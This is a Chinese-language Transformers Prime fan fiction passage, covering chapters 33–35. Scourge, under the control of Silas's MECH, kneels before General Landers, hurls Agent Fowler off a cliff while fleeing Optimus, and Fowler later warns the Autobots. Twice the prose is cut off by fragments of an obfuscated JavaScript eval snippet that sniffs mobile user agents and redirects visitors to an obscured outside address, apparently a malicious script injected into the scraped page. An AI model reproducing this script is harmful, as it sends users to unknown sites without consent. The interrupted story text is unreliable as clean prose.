兰德将军微笑着向着塞拉斯微微颌首,他像是真的在向机械党示好,但抵挡不住他语气中的镇定、自信以及恰到好处的轻蔑,他每念一个单词天灾就能感受到塞拉斯身上一分的紧绷,小油罐车微微转动自己的车头,光滑的镜面反射出男人背在身后缓缓握成拳头的手掌。 天灾在一旁竖着接收器尽力接收着塞拉斯的信息,他明白这些信息也许最终会成为无用的数据冗余,但他不会放过每一丝逃脱的可能性。 况且看到塞拉斯吃瘪的机会可不多,这该死的男人脸上令人作呕的、一切都在执掌之中的笑容终于一点点消失了,这让天灾勾起了嘴角。 “看来你对我们足够了解,很好。”塞拉斯将背着手的姿势换成了抱在胸前,一个防御性的姿势,天灾不知道这是他故意展示出来的破绽还是人类不经意之间的行为。 但不管怎么样,塞拉斯已然在这长对话中落入了弱势,显而易见。 “我想这有助于我们交易的进行。” “兰德将军。” 塞拉斯看起来也并不是对这个军方的主动联系人一无所知,他再次喊出了来人的姓名试图夺回一些主动权,但明显效果甚微。 天灾为两个人类在自己眼前上演的“默剧”兴趣盎然,这显然是不常见的,他可以从中为自己的处理器塞入更多的资料。 富勒特工则没有小油罐车这么好的心情,自兰德将军出现开始这个人就陷入了一种既震惊又不敢置信的境况,一双眼睛剧烈地晃动,在兰德将军与塞拉斯两个人的身上来回巡视。 他们到底在干什么!军方的人和这个恐怖分子有勾结?他的特工素养还不至于眼瞎到看不出兰德将军态度中暴露出的目的! 对话开始的强势也好,对主动权的争夺也好,这都只可能出现在谈判桌上! 这些疯子! 一种后知后觉的恐惧摄住了他的心神,和涉世不深还未察觉到暗流涌动的油罐车不同,他几乎为这种恐怖的预想感到毛骨悚然。 他只是为军方和机械党牵线的一个引子,一个棋子,一种联系,一种掩饰。 该死的,兰德到底是要干什么!他以为人类和汽车人的盟约只是一张废纸吗!擎天柱不会允许…… 不远处,兰德将军和塞拉斯终于停止了这种毫无意义的拉扯,也就在这时,他们再次将目光投向了他们。 准确来说是在他身后一动不动装作寻常车辆的天灾。 Damn! 富勒特工暗骂一声,兰德的目的,当然了!他怎么可能不关注到这辆和领袖几乎一模一样,他指能力和破坏力都更胜一筹的油罐车! 更何况他就在机械党手上! “富勒特工,”兰德将军看着他,眼神中的冰冷几乎让人退缩,而富勒特工勇敢地回视,“你的任务到此为止,你可以回去了。” “接下来我会接手。” 富勒知道这个腔调,他的长官的题外话是“你要忘记刚刚发生的东西然后当做一切如常地继续你的任务。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959693|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而他显然无法无视,不管那是什么,他选择相信自己的直觉,和汽车人们的相处的确使他的立场不自觉地产生了部分偏移。 而富勒特工不打算纠正这些“谬误”。 “恕难从命长官,”他咽了口口水,身后油罐车的存在感很好地平衡了身在敌营的无力感,他走到塞拉斯和兰德将军的视频之间,“根据我签下的条款,我需要知道这里发生了什么!” 塞拉斯昂着头根本不屑于再与他进行交流,而他的上司显而易见露出了不耐,“这与你无关,特工,就像我说的,接下来已经没有你的事情了,我下达了命令,现在,遵守他才是你唯一需要做的。”他眯起了眼睛,其中威胁的意味不言而喻。 富勒特工顶着压力站在了原地。 塞拉斯就是这时候出声的,“天灾。” 他唤道。 渣的! 小油罐车的心情骤然下降,他熟悉塞拉斯的口吻,这是不容置喙的意思。 在兰德将军欣赏的目光中,一直在他视线中心的那辆油罐车快速变形,不过瞬息,一架单膝跪地的赛博坦人便替代了油罐车出现在了视频的正中央。 他的机体正如他们的科学家所预测的那样,远比领袖要更加优越,兰德将军不会忘记那天他出现在基地中毁灭一切时自己所感受到的恐惧与无力感,此时那种感觉再次卷土重来,在桌面下,他的整个脚掌都在为此产生颤抖。 “你就是……”他克制住语气中的颤抖和激动,“那天出现的机甲。” 机甲没有对他的声音产生一丝一毫的反应,他跪在那里低垂着头,似乎只为塞拉斯一人而顺从,他乖顺得……简直不像是那日的死神。 塞拉斯在听见他出声的一瞬间就知道主动权已经再次回归了自己的掌控,男人勾起嘴角,重新恢复了自信。 “将我们的聒噪客人送回他该去的地方,他已经没有用了。” 他傲慢地下令,对天灾的顺从表现出了十足十的不在意,或者说,是习以为常,让兰德将军顺利意识到了,不管他们是用什么方法让天灾对他们言听计从,不管如何,他们已经彻底驯服了这个赛博坦人。 一想到他们即将达成的合作、即将完成的计划、地球的未来,兰德将军就再也无法控制自己语气中的亢奋。 剧烈的光从他的眼神中陡然迸发出来,其中的狂热同天灾在无数人类眼睛里看见过的毫无差异。 赛博坦人几乎对此感到麻木,他点点头,接受了塞拉斯的命令。 漆黑的手掌越过塞拉斯抓住刚刚回过神的富勒,再次将这个倒霉的特工抓在了手里。 正当他准备变形离开时,那个他“效忠”的男人再次开口道:“你忘记了礼貌,天灾,我们的客人还在这里。” 油罐车变形的程序被迫终止,他茫然地回过头,没有让塞拉斯察觉到自己的无措。 他不经意地瞥了一眼兰德将军因为亢奋而涨红的脸。 塞拉斯的神色也印入他的光学镜。 这是一次示威。 摆在天灾眼前的选项,只剩下了一个。 33.追击战 “身为主人,我想我们应该有所表示,对吗。” “「天灾」。” 恶魔,他的恶魔在地面低语,男人阴狠的目光从他的机体移动到他僵硬的面甲,他真的希望自己没有暴露出什么软弱的情绪,然而塞拉斯没有放过他,人类终于舍得转过身施舍给他他不配得到的关注,男人依然站在那里似乎他生来就是为了以高高在上的态度去支配些什么。 兰德将军的脸庞在屏幕中因为激烈的情绪而涨红,不正常的亢奋促使他如同一头失去了理智的野牛,他身后的士兵因为不知何处而来的不安握紧着自己的配枪,他们紧紧盯着天灾的面甲,肆无忌惮地试图从中窥视到任何一丝反抗的痕迹。 他知道所有人都在看着他。 哪怕是他手中的“人质”。 「你还要付出多少?」 一道声音在他的脑模块中大声斥责,系统没有出现任何超载的情况然而这种幻象依然出现了,惊雷般的让他下意识地吞咽下嘴中的电解液。 他自己的声音。 他不知道过了多久,但也许只是短短一瞬,因为塞拉斯的脸色中还没有带上任何疑问和责怪的意味,男人只是静静等待着油罐车按照自己的设想一般向兰德将军展示出自己所领导的机械党的优越。 逻辑模块不断地告诉他此时应该做出最适合的举动是顺应塞拉斯的要求,向他们下跪,向他们展示自己的无害和恐惧,让自己如同实验室中无力逃脱的动物任由他们嘲笑、解剖然后……也许是羞辱,他要进一步降低人类对他的提防,要为可能获得或者不可能获得的信任再次粉碎他不值一提的自尊,然而为什么他的机体没有响应脑模块的命令? 「你总是如此不是吗,向着人类卑躬屈膝。」 他自己的声音依然絮絮说着。 「你知道塞拉斯想要什么,他想要在这里展示他对你的统治权,让你像一件真正的商品那样被观赏。」 「他想要品尝你的臣服。」 「这没什么大不了的。」 「你已经展示过一次了,只不过是又一次,我们已经经历过这些无聊的抵抗阶段了不是吗。」 「一次、一次、又一次,然后是无限的再一次。」 「那么为什么你还在抵抗?」 天灾将满头雾水的富勒特工放回地面,那神似领袖的机子在兰德将军诡异的满足与惊恐中低下了自己的头颅。 膝关节的护甲与地面产生清脆的磕碰声,足以撕碎任何敌人喉咙的手爪因为失力而自然下垂,肩上的炮管被隐藏,泛着寒光的手刃和臂刃被收敛在自己的身体之中,此时兰德将军眼中那无法战胜的死神终于像个可以被杀死的物品了。 天灾单膝跪在地面将一只爪子贴到了自己的左胸口,他沉默而迅速地服从了塞拉斯的命令。 向他的敌人展示自己,如同一件战利品。 啊老天啊。 将军沉寂在自己复杂的情绪中,一时竟像个傻子一般失言。 一方面因见到这个酷似领袖的赛博坦人真的如同塞拉斯所言向人类下跪而震惊,天知道擎天柱身上那与生俱来的高傲和强大多么令他们恐惧又不可攀越,可另一方面,当那架漆黑的机甲低下头颅,任由他们窥视自己的全部,他因为人类真的掌握了控制他们的方法甚至见到这强于他们的机甲如同狗一般向他们俯首而感到诡异的满足,镇定如他竟也一时间不知该说些什么。 “这真是……令人印象深刻。” “是啊,多么惊人。” 兰德将军语气中的颤抖没有逃过机械党首领的耳朵,男人终于露出了笑声,他畅快地笑着,他拍了拍天灾的腿甲如同抚摸狗的下巴,将冰冷的气氛终结于他和兰德将军的对峙。 “我知道我们还会有很多机会,将军,我保证机械党将是一个很好的合作对象。” “我相信你已经证明了这点,塞拉斯。” 无声的默契在此刻达成,他们彼此眼中的满意肉眼可见。 不再有更多的试探与讽刺,他们终于拿出了自己万分之一的信任,试图与彼此达成什么共识。 两个人类还有更多的东西要交流,而他们显然不再希望外人在场。 天灾终于获准离开这里。 “离开这里吧,去执行你的任务。” 塞拉斯眯起眼睛,挥手让天灾离开这里,连一丝余光也没有施舍给身后的机甲,他和兰德将军眼中都显露出了真正的合作意图,塞拉斯很清楚,他已经站稳了脚跟。 天灾沉默地起身,身上不合身的外装甲发出牙酸的摩擦声,在他最终离去之前,塞拉斯暗含威胁意味的眼神没有被无视。 终于,他获得了机械党的全部信任,当他离开这座基地时,再也没有人试图拦下他监视他驶离他们的视线范围。 哈。 他为什么要抵抗。 体内的反制程序也在这一刻终于达到了15%。 为了一文不值的信任,却是他通向自由的唯一选择。 …… 返程的路程沉默而诡异,油罐车一路带着富勒离开机械党的领地又驶入荒野之中,永无止尽的荒山与荒漠几乎耗尽了富勒特工所有的耐心。 他不知道在那短暂的交锋之中这个领袖的亲子经历了什么,但长期和赛博坦人打交道的经验告诉他,在那一瞬间这辆油罐车一定经历了什么。 他皮肤上的刺痛正在告诉他这点,赛博坦人的情绪会通过他们的磁场表现出来,当阿尔茜因为搭档的失踪而低落时,人类会因为她低落的情绪立场而感到轻微的刺痛,而当领袖或者救护车陷入自己的情绪漩涡被自责和痛苦淹没时? 他就会像现在一样,人类身上所有的汗毛都在因为赛博坦人紧缩的磁场粒子而颤栗。 他尝试开口,然而油罐车没有像他被绑架来之前一样和他交流,他只是……沉默着。 富勒身上的不安也一定传达到了天灾身上,因为当他们终于开始驶入贾斯帕的周边时,富勒一边搓着自己手臂上的鸡皮疙瘩一边听到了这辆油罐车低声向他说出的解释。 “……你会被放回去的。” 油罐车语气中的低落没有逃脱特工的耳朵,为了降低特工的不安,天灾再次补充道:“完好的。” 这让富勒的警惕稍微降低了些许。 “哦!哦……没关系,你知道,这种事情经常发生。”他下意识地安抚,随即他意识到了自己的失误,他不应该对一个“绑匪”如此和颜悦色,他一边唾了自己两口一边又无法控制自己不说出更多的安抚。 也许领袖真的改变了他。 但他抚摸着的这架油罐车暴露出了如此显而易见的失落,他知道自己不能袖手旁观,不能再这么做了。 “你知道,领袖正在找你。”他说,试图激起油罐车全部的精神,额,他的意思是,知道有人一直在试图拯救自己一定比没有任何希望的好,对吧? “自从知道你的存在后我们就一直在尝试联系……” “你想说什么,人类。”出乎意料地,天灾再次打断了他。 “你希望我做什么,对任何尝试拯救我的人摇尾巴吗?” 他讽刺地嗤笑,“啊,他们当然会拯救我,「天呐,这有一个向人类俯首称臣的赛博坦人,我们得去救他,不然他就会让人类掌握毁灭赛博坦人的机密,他会成为叛徒和帮凶!」” “「为了拯救我们自己,我们得去拯救他!」” 他把自己逗笑了,但富勒特工因为他语言中尖锐的恶意而瑟缩。 “你知道我不是……!” “是啊是啊,”油罐车收敛了自己所有激烈的情绪,他语气平平地回应,“我相信他们在尝试把我从人类手中‘拯救’出来,不管是为了什么目的。” 富勒特工张了张嘴,却不知道该怎么反驳。 为了天灾这个机子本身而去拯救他?他知道那是谎言。 在今天之前他甚至不认识这辆油罐车,他对他一无所知,更何况领袖的团队。 是的,擎天柱的确很痛苦,人类感受的出来,他很自责,他渴望拯救这个失足的机子,可如果富勒说自己和那些孩子们甚至是领袖的团队成员对这个机子有多大的感情,那就是纯粹的虚假发言。 他们不认识他,他们试图拯救他让他加入自己的阵营是为了避免威震天或者像是机械党这样的人获得他。 从本质上,他们和机械党似乎别无差别,可他们不是,他们是汽车人,是好人对吧?所以富勒一定可以想出更好的措辞劝这辆油罐车改变主意。 可在他说出更多话之前,天灾已经结束了这个话题。< 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油罐车的另一侧猛地挤压在了山崖上,泥土和石块再次划伤了他的喷漆,一道漆黑的印迹烙印在了石头做成的山体之上,然而没有机子注意这些,就连天灾本人也只是让自己的引擎发出了恼怒的轰鸣。 卡车与油罐车摩擦发出更加刺耳的剐蹭声与风的嘶吼。晃动,剧烈的晃动几乎让富勒的心脏从自己的喉咙跳出来。 两辆大型车在狭窄的悬崖弯道并驾齐驱,高耸的高空足以让任何有机生命感到恐惧,然而他们依然全速竞速着,全然不顾自己一半的机体已经在道路中悬空。 碰! 又是一记全力的撞击,领袖打定了心思要将这辆油罐车逼停,富勒因此发出了一声尖叫让领袖不得不给油罐车和他里面的人类留出缝隙,而这让逮住机会的油罐车瞬间加速冲出了领袖和山崖的夹击。 他冲着抓着自己方向盘的富勒怒吼,在道路拐弯时全力将自己的后半部分甩出了弯道,巨大的离心力和油罐车本身的重量瞬间将跟在他身后的领袖撞出了悬崖! 呲!!! 红蓝重卡与悬崖边沿的防护带发出巨大的剐蹭声然而领袖迅敏地通过变形重新返回了道路。 见状天灾再次发出了一声嘶吼。 “上帝啊别再吼了!”富勒特工在混乱中尖叫。 “我知道你刚刚在机械党的基地有多么不适!别再试图隐藏这一点了!我们能救你!我知道这一点!看看你身后!你的爸爸,或者无所谓赛博坦上怎么称呼的你的亲人就在你身后!”他大喊,几乎不知道自己说出了什么,“领袖一定有办法救你!” “别再试图威胁我了!你这该死的油罐车!我知道你根本不会这么做!” 有一瞬间富勒以为天灾真的动摇了,因为油罐车的车速降低了,红蓝色的大卡和他身后跟着的黄色跑车与蓝色摩托车近在咫尺,然而回应他的是油罐车将他甩出去后风的怒吼。 “不!” “什么叫……”不!? 没等富勒再次问出口,油罐车已经打开了车门,一瞬间,人类意识到自己被这辆该死的黑色油罐车扔出了车厢。 而在他身下的…… 是悬崖! 该死的!天灾!!! “啊啊啊啊啊啊啊!!!” 人类发出了自己此生最大的一声尖叫,失衡感和失重感让他控制不住呕吐感,而他四肢悬空,无力支撑,只能最终变成一摊肉酱! 那一瞬间富勒特工再也说不出一句除了尖叫以外的话,而就在这时,一双金属做的手将他紧紧抓住护在了自己的胸前! 轰!咔!!! 碰撞声! 几分钟后,富勒才停下了尖叫,他无法运转的人类脑袋终于后知后觉地意识到自己终于安全了。 领袖在千钧一发之际放弃了追击近在咫尺的油罐车,接住了他。 “谢天谢地,领袖,还好你来了……”富勒特工像是把自己全部的重量都放在了领袖车厢内部的方向盘上,他大口地喘着气,试图告诉自己的五脏六腑和极速跳动的心脏自己还活着。 “答应我,千万不要再来一次了。” 劫后余生的刺激感依然停留在他身上,而他唯一能做的就是和领袖看着那辆漆黑的油罐车甩开了身后追击的阿尔茜和大黄蜂驶入了另一条不知去向的道路。 34.干得漂亮 引擎隆隆的噪音再度划破贾斯帕寂静的街道,不耐烦的居民掀开窗户大骂行车员的不道德,然而留给他们的唯有油罐车尾灯的猩红一线。 在夜色掩盖下,那辆陌生的油罐车终于彻底离开了这块属于汽车人的领地。 直到贾斯帕最后的一处人迹消失在地平线,天灾才扯下早已损坏的臂甲,将沾染上领袖红蓝色漆面的凹陷车门扔进了灌木。 油罐车的散热扇运转到极致,一股股蒸汽掩盖了他的去路,减震器的损伤警告不断报错,全身的管线都在抗议主人的不管不顾,油罐车的机体构造本就不是为了竞速而生,然而天灾不敢停下,身后领袖的追赶、摩托的破风声与跑车的轰鸣仍在他的音频接收器中回荡。 「让我们拯救你!」 「停下!」 粗细不一的声音在他的脑模块中不断回放,所有的话语都被他丢在身后,连同他获救的希望。 不,不不不不不…… 他们救不了我,不要被迷惑。 他不断地默念,将自己升起的莫须有的希望再度压回处理器的深处。 「没有人能救你」 顾不上传动轴发出的撕裂声,油罐车再度加速,饱受折磨的引擎发出一声哀鸣,然而他只求这能让他身后阴魂不散的危机感消失。 “Scourge。” 人类的声音突兀响起,他咽下从油箱翻涌而上的恶心,勉强回应塞拉斯的呼唤。 “我看到你已经摆脱他们了,干得好。” 背景音中传来兰德将军与其他人的窃窃私语和纸张的翻阅声,他清楚这是塞拉斯的又一次展示,通过任务结果将天灾的实力作为筹码摆上谈判桌。 油罐车低声应允塞拉斯的“夸奖”,而男人依然没有结束。 “和领袖的交战感觉如何?” 人类仿佛真的是在关心他,假惺惺地询问他的感受。 一股怒气从天灾的火种迸发,他压制了反讽的冲动,暗自翻了个白眼,塞拉斯应该庆幸他如今没有在机械党的基地中,不然他会“合理”地向所有试图逼出他更多反应的人类开枪。 “他不是我的对手。” “你受伤了吗?” “……不。” “当然,”人类藏不住语气中的满意,“你的表现我们全都看在眼里。” “看来所谓的领袖也不过如此,你证明了你自己的价值。” “好孩子。” 塞拉斯夸奖着,“当然,你也再次向我们的盟友展示了机械党的优越,一如既往。” 他在那一头煞有其事地点头,嘲弄的话语显然是说给兰德将军所听,人类将军陡然沉重的呼吸声即使透过失真的通讯器也依然传递到了天灾的接收器中,但他没能再听到塞拉斯的声音,和天灾进行对话的人在转瞬间已经换成了副官。 “维修队已经就位,基地坐标已发送。” “你丢下的装甲会有人负责回收,你现在可以返回基地了。” 随后通讯迅速挂断了。 油罐车嘴中的嗤笑终于脱口而出,在风中留下模糊不清的尾音。 显然寄居人下的他唯一不必担心的就是替换装甲的维修,塞拉斯不会让他心爱的武器蒙尘。 他知道“他”还在看。 他的眼睛,是人类的眼睛,正如他们眼看天灾是如何逃脱领袖的围堵、丢下富勒,最终亲手放弃求生的可能转投机械党的怀抱,他们相信了他们“亲眼所见”的一切。 油罐车的车速终于降到了正常的水准,他的轴承终于不再向他的机体悲鸣,接收好副官发过来的新坐标,他百无聊赖地再度驶向了熟悉的街道。 他不会说领袖的愿望是多么显而易见,富勒特工话语中的祈求在那一刻几乎让他丢弃自己至今全部的努力。 他们可以救他,只要他停下引擎,只要他愿意与领袖交谈,将自己的威胁、塞拉斯的监视、机械党的控制、人类的贪婪如实告知,他知道自己会获得帮助。 只要他放弃抵抗。 仁慈的汽车人领袖不会放任人类获得自己,他不会允许天灾作为别人的武器加入赛博坦人的战场。 天灾知道自己作为武器的使命将会在领袖手中得到充分发挥。 问题是,塞拉斯引爆炸弹和他获得汽车人信任得到帮助的赌率是一比九。 而天灾不敢将自己的信任交由他们。 塞拉斯的眼睛就在他脑模块中那个该死的程序里看着,人类会知道天灾打的什么主意,他努力至今塑造出的忠诚的假象会在他车轮停下的一瞬间付之东流。 他甚至能够感受到在和领袖的生死时速时脖颈项圈的收缩,那些该死的人类不会允许他逃脱他们的手心。 只要他敢在贾斯帕停留超过半个小时,不,十五分钟,他敢肯定塞拉斯令人作呕的声音就会出现,确认天灾的安全。 这也是他至今不敢再去找K-19他们的原因。 一个“获得自由”的资产不停地重返一处无人矿场的几率是多少?天灾不敢赌自己的运气,人类是贪婪的鬣狗,他会像抓捕他一样将失去抵抗能力的量产机收入囊中,他们会这么做的。 天灾不会允许更多赛博坦人落入他们手里。 他们会拆开量产机们,像解剖自己一样将所有机的内在都研究透彻,而这次他们手中会有足够的样本,一两个机子的死活不再成为顾虑,那些同一机体铸造出来的小飞机们都会变成真正的耗材。 他劝告自己如今所做的一切都是为了最后的机会。 他只希望自己没有做出错误的选择。 …… “你还好吗?” 汽车人基地内,富勒特工裹了裹身上的毯子,虚弱地接下了拉菲递过来的热巧克力。 “谢谢你孩子,相信我,我经历过更糟的。” “但我真是不敢相信!他就那么把你从车厢里扔出来了!从悬崖高速上!扔出来!” 美琪坐在他身侧伸出双手夸张地大喊,女孩显然对几小时前的“速度与激情”抱有不满,然而杰克怀疑她更像是在惋惜自己为什么没能赶上这么刺激的事情。 “是啊,那真的很危险, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15019707|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额,我是说,天灾昨天一句话都没说,你们不觉得这有些奇怪吗?”杰克将手搭在富勒特工坐的沙发椅背上,“之前在矿场的时候,他可没有这么沉默寡言。” “也许是‘任务状态’?”拉菲惴惴不安地猜测,男孩前几天和大黄蜂在一次日常外出时遭遇了一组霸天虎小队的袭击,杰克不能责怪他还处在惊慌的阶段,那些霸天虎留下的阴影足以让十几岁的男孩做噩梦,拉菲已经很坚强了。 他继续猜测:“我在做社区服务的时候也不喜欢说话。” “呃啊,谁能在社区服务的时候全程微笑。”美琪附和。 “我会?”富勒特工皱着眉搭了话,而三个孩子都露出了难以理解的微妙表情,好在领袖卫队的成员也就在这时候进来了。 绿色的传送门亮起,红蓝重卡率先从门中走了出来。 “哦你们回来了!情况怎么样?”美琪跑过去,被隔板托举上了自己的肩甲,她仰视着领袖期待擎天柱能够找到一丝油罐车的踪迹。 “我们连地面单位的尾气都没找到。”隔板失落地拍了拍自己的头雕,懊恼的情绪几乎缠绕在除了领袖外的每一个成员身上。 “bee——bee——bee。”大黄蜂的嗡鸣中也带上了显而易见的失落,拉菲拍了拍他的腿甲。 “你们尽力了对吧?下次肯定还会见面的。” “比起这个,”阿尔茜从所有人身后走出来,蓝色的光学镜直直地投向坐在沙发上的富勒,“我更想知道他们为什么要绑架你?” “或者说,天灾为什么要绑架一个人类?” 气氛陡然紧张起来,哪怕明知阿尔茜只是在询问并无恶意,富勒特工在四双光学镜的注视下也不得不紧张地喝了一口手中的热巧,暖意舒缓了胃中的不适,他本不应对此如此不安,然而他定了定神,下定了决心,在那一刻他做出了自己的决定,他脱下身上的毯子站了起来。 几小时前,他回到了汽车人的基地,如兰德将军离开前警告的那样,他以一名特工的身份严格遵守了上司的命令,没有向任何人类或外星人透露一丝一毫机械党基地内发生的东西。 后腰上植入的窃听器与定位仪依然在工作,他走向救护车校正后的仪器前,嘴中依然用浮夸的语气宽慰汽车人们的疑问,脸上却是一片平静。 “哦没什么事,就像我之前告诉你们的,不过是又一次绑架罢了,这样的事情我一个月要经历两三次!” 他一边说着,一边点开了基地屏蔽器的界面。 但现在,他以威廉·富勒的身份向他的外星朋友们做出自己的选择。 在这一刻,领袖和几个同伴对视一眼皆没有出声,美琪也在隔板肩膀上捂住了自己的嘴巴。 随着屏蔽器的脉冲波从基地顶端的哨塔发出,富勒特工终于松了口气,疲惫与信任出现在特工饱受摧残的脸上,他走到了领袖面前。 “长话短说领袖,我们的时间很有限。” 富勒特工握住了二楼的栏杆,他的脸色严肃起来,所有人都知道,接下来才是富勒真正试图告诉他们的。 35.他会做出正确的选择 “哇哦……” “我是说……哇哦。” 美琪坐在罕见寂静的基地内发出了第一声低叹,她没有故意打断低沉气氛的打算,然而当你是这座基地内唯一还能控制喉咙的人类的时候,这件事情就开始变得很简单。 她不指望身边的两个男孩能做出什么反应,然而她的外星伙伴们也保持了令人不安的沉默。 蓝色的摩托车除了最开始的发问便保持了一个士兵应有的中立态度,大黄蜂与隔板在富勒向他们描述塞拉斯对天灾所有权的“理所应当”时就不再出声了。 空旷的空间久违地让他们感到了寒冷,这里没有往日救护车的咆哮,也没有大黄蜂的嗡鸣,就连阿尔茜也放下了抱在胸前的手掌。 领袖盯着紧张地攥着手腕的富勒,试图从人类的脸上找到一丝开玩笑的痕迹,然而没有,人类的脸上是歉意与不安,刚刚的一切都是真实的。 擎天柱的恐慌被克制在微微颤抖的指尖,他的亲子,他只见过两面的小火种,他一直在寻找的creation,那个曾经一脸桀骜告诉他和威震天不会加入任何阵营的机子如今成为了人类手中的“把柄”。 他不得不置换出胸口的那口浊气才能够说服自己的逻辑模块接受这个现实,同时不得不咽下火种中那股已经无法压制的内疚,他怎么还能够对此感到惊讶。 这都是他的错误。 如果他一开始就能够抢在红蜘蛛出现之前激活天灾,如果他在矿场时能够拦住他,如果他…… 停下擎天柱,他克制着自己的愤怒,打断自己脑模块中越来越大的指责声,这是他唯一还能够做到的事情。 他是擎天柱,是汽车人的领袖,是赛博坦的最后希望,他还要为更多人的生命负责。 他不能崩溃。 至少不能在这里。 「可你知道,这都是你的错,你无法回避这个,你知道如今你的造物、你的阵营、你的星球所遭受的一切都是因为你。」 「因为你做出了错误的选择。」 一道熟悉又陌生的恶毒声音伴随着他光学镜中忽明忽暗的闪烁低语。 「你知道我才是对的,我曾向你展示赛博坦的未来——本应该由我们一起创造的未来。」 「我向你伸出了橄榄枝,而你只是拒绝了它。」 「就像你在我们的四百万年中错过的所有终结这一切的机会。」 「啊看啊领袖,你的跟班们都还等着你的反应,你该告诉他们你实际上根本担不起所有人的期待,就像你会辜负你的造物一样,何不趁着现在坦白一切呢。」 领袖湛蓝色的光学镜轻轻眨了眨,他强迫自己专注于当下,此时他才发现所有人的目光不知不觉间已然都聚集在自己身上。 “富勒特工……你确定你的信息是……准确的吗?” 盯着所有人的关切他不得不强制开启了两遍自己的发声系统才能强迫自己做出回应。 「真好啊擎天柱,你似乎问了一个显而易见的问题。」 内心中的威震天在他的火种里踱步,夹杂着他自己的谴责声训斥领袖的明知故问。 “是的,”人类特工踌躇着,身上的小动作越来越多,这对于一个经受训练的人来说十分不寻常,但这正证明了富勒对此时自己所做出的“背叛”之举是多么不安,“我不知道塞拉斯使了什么手段,但天灾在机械党的基地中对塞拉斯的命令的确表现出了不适。” “感谢上帝,我熟悉你们的情绪磁场,他向塞拉斯俯首时身上的磁场粒子简直像一把尖刀,我都害怕他会向我开枪!”特工张开双臂做出夸张的手势,白色衬衣的后背早已被汗液浸湿,如今让他的背部感受到一阵阵寒意。 “我不知道是什么让他克制了自己的杀欲,但我告诉你们,他真的很不稳定!” “兰德将军显然想要和他们达成什么协议,然而他们把我赶出去了,”人类又啐了一口,“但领袖,听着,你们必须对此保持警戒,不管他们聊了什么,那一定涉及赛博坦人,他们不会轻易放过赛博坦科技……天灾在他们手里的优势的,你们必须有所准备。” “尽管我也很怀疑是什么让天灾甘愿听从塞拉斯的命令,但你们必须做好与他战斗的心理准备,我近距离观察过他的机体装甲,他会是一个大麻烦。” “以及……人类也可能要登上你们的戒备名单。” “兰德将军不是一个墨守成规的人,他曾在与你们进行初次接洽后的讨论会议上提出过一个提案,我没有权限了解具体的提案内容,但我听说那是一个关于人类与赛博坦科技结合的科学项目。我怀疑他会继续这个疯狂的想法。” “塞拉斯抓住我是为了接触我身后的军方人员,我不确定他们会深入到什么地步,但你们现在必须得提起注意了。” 富勒特工一边看着手中的表针,一边快速且急切地说着,汽车人可以向他的上司用近期频繁骚扰的霸天虎小队做开启屏蔽器的借口,然而他必须要速战速决。 “但……但他还是遵守了那个叫塞……什么的人类的命令对吧?”隔板磕磕巴巴地开口。 “到冲突发生时,他就会成为我们的敌人,不管我们愿不愿意。”阿尔茜低声说。 “我们就没什么办法能帮他吗?” “对,电磁干扰、无线电干扰……什么都行,我们至少可以试试!” 杰克和拉菲在二楼的脚手架上提议,总不可能一点儿办法都没有吧?他们的意思是,他们面前站着的可是活生生的外星人!活了几万年的那种!既然他们可以造出陆地桥这种远超人类科技的东西,没道理找不出一种办法救出一个同胞,对吧? 替领袖开口的是他身后的大黄蜂,小战士发出的嗡鸣悠长而低沉,男孩身上的希冀在大黄蜂的注视下暗了下去。 拉菲转过身向他的人类同胞解释,“大黄蜂说不管怎么样,我们必须都要先找到他。” “他们可能对天灾许诺了什么才让天灾愿意为他们效命,然而如果美琪之前所说的是对的,他身上还可能被植入了什么才导致了这一切,病毒、炸弹……不管那是什么,我们都需要先抓到他。” “只有救护车确认了那是什么,我们才能做出有效的反制。” “我们目前所能做的唯一事情就是策反他,让他主动献身。”阿尔茜恢复了平静。 隔板摊了摊手,“或者想办法抓住他。” 美琪翻了个白眼,“那我们不还是卡在第一步吗!”她猛地张开双臂,将语气中的不满用实际行动表现了出来,“为什么他就不能老老实实让我们帮他!我们又不吃人!” “而且我很担心富勒特工刚刚说的,人类军方也会参与进来吗?这简直更糟糕了。”杰克忧心忡忡。 领袖不得不强迫自己的处理器跟上大家的对话。 他将手按在了大黄蜂的肩膀上,将头雕转向富勒,“我了解了,”他尝试安抚特工的情绪,“我会多加小心的,也谢谢你的提醒。” 这一切都是他的错。 特工报以疲惫的一笑,手掌放回了控制屏蔽器的开关上。 “我只剩下最后一句话,领袖。” “我不后悔违反我的保密协议。” “我曾在旗帜下向我的国家、我的信仰、我的人民宣誓,我将誓死保卫我所将保护的一切,然而兰德将军所做的一切并不是。” “他做了错误的选择。” “我必须向你承认,作为一个人类,我曾在和你们的交往中保持了谨慎与戒备。” “然而擎天柱,你用你的忠诚和正直征服了我,你是一个名副其实的领导者,我相信赛博坦人在你的手下不会辜负人类向你们交付出的信任。” “这也是我做出今天这一切的原因。” “我知道你们向我……向军方隐瞒了一些东西,我不会向任何人透露我们今天的一切,但同样的,擎天柱,领袖,我只有最后一个请求。” “不管你们将对此做出什么反应。” “永远不要告诉我。” 他棕色的眸子直视着赛博坦人湛蓝色的光学镜,横跨了银河的两道目光传递着人类与赛博坦人彼此之间脆弱的纽带,当富勒决定将人类善的一面的信任交付于领袖之手时,这就是一切开始的那一刻。 